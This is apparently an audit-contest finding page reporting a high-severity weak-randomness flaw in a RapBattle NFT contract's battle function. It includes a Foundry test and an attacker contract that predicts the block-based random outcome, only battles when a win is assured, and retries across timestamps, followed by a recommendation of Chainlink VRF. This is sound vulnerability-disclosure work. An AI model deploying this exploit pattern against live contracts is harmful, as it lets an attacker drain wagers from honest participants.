Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak randomness in `RapBattle::_battle()` is not truly random and can be exploited, meaning a participant can always win battles

[H-1] Weak randomness in RapBattle::_battle() is not truly random and can be exploited, meaning a participant can always win battles

Description: The RapBattle::_battle function utilizes pseudorandom number generation based on block.timestamp, block.prevrandao, and msg.sender for determining the outcome of rap battles. This method of generating randomness is inherently insecure and predictable, as it relies on values that can be influenced or anticipated by participants. Specifically, block.timestamp is known and can be manipulated by miners to some extent, and msg.sender is controlled by the user initiating the transaction. Although block.prevrandao aims to add unpredictability, the overall approach does not provide true randomness. This weakness allows a participant with enough knowledge and resources to predict or influence the outcome of the battle by executing transactions at carefully chosen times or repeatedly until favorable conditions are met.

Impact: The impact of this vulnerability is significant in the context of the RapBattle contract, as it undermines the fairness and integrity of rap battles. A bad actor with the ability to predict or influence the pseudorandom number generation could manipulate the outcome to ensure they always win, regardless of the skill levels associated with the NFTs involved in the battle. This not only allows the attacker to unfairly accumulate winnings but also damages trust in the system, potentially deterring honest participants from engaging with the platform. Over time, this could lead to a concentration of resources in the hands of attackers and diminish the overall value and utility of the NFTs and the platform.

Proof of Concept:

  1. User initiates a battle

  2. Attacker sets up a contract that copies the weak randomness

    1. Attacker contract checks the winning conditions using the same weak randomness

    2. Attacker contract only executes if they are guaranteed a win and reverts if not

  3. Attacker calls RapBattle::goOnStageOrBattle() from their attacker contract, winning the battle

Code

Place the following into OneShotTest.t.sol

event Battle(address indexed challenger, uint256 tokenId, address indexed winner);
function test_weak_randomness_can_be_exploited() public twoSkilledRappers {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 3);
RapBattleAttacker rbAttacker = new RapBattleAttacker(address(rapBattle));
cred.transfer(address(rbAttacker), 3);
vm.stopPrank();
vm.prank(address(rbAttacker));
cred.approve(address(rapBattle), 3);
uint256 initialBalance = cred.balanceOf(address(rbAttacker));
// Set up the expectations
vm.expectEmit();
emit RapBattle.Battle(address(rbAttacker), 1, address(rbAttacker));
vm.startPrank(challenger);
bool success = false;
uint256 attemptTimestamp = block.timestamp;
uint256 maxAttempts = 100; // Prevent infinite loop
for (uint256 i = 0; i < maxAttempts && !success; i++) {
vm.warp(attemptTimestamp + i * 60);
try rbAttacker.guaranteedWinBattle(1) {
success = true;
} catch {}
}
require(success, "Failed to win after multiple attempts");
vm.stopPrank();
uint256 finalBalance = cred.balanceOf(address(rbAttacker));
assert(finalBalance > initialBalance);
}

And this contract as well.

import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
contract RapBattleAttacker {
RapBattle public rapBattle;
address public owner;
constructor(address _rapBattleAddress) {
rapBattle = RapBattle(_rapBattleAddress);
owner = msg.sender;
}
function guaranteedWinBattle(uint256 _tokenId) external {
if (msg.sender != owner) revert();
bool willWin = _checkWinCondition(_tokenId);
if (!willWin) revert();
if (willWin) rapBattle.goOnStageOrBattle(_tokenId, rapBattle.defenderBet());
}
function _checkWinCondition(uint256 _tokenId) internal view returns (bool) {
uint256 defenderRapperSkill = rapBattle.getRapperSkill(rapBattle.defenderTokenId());
uint256 challengerRapperSkill = rapBattle.getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this)))) % totalBattleSkill;
if (random > defenderRapperSkill) return true;
return false;
}
function withdrawToken(IERC20 _token) external {
if (msg.sender != owner) revert();
_token.transfer(msg.sender, _token.balanceOf(address(this)));
}
}

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Implement Chainlink VRF instead.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.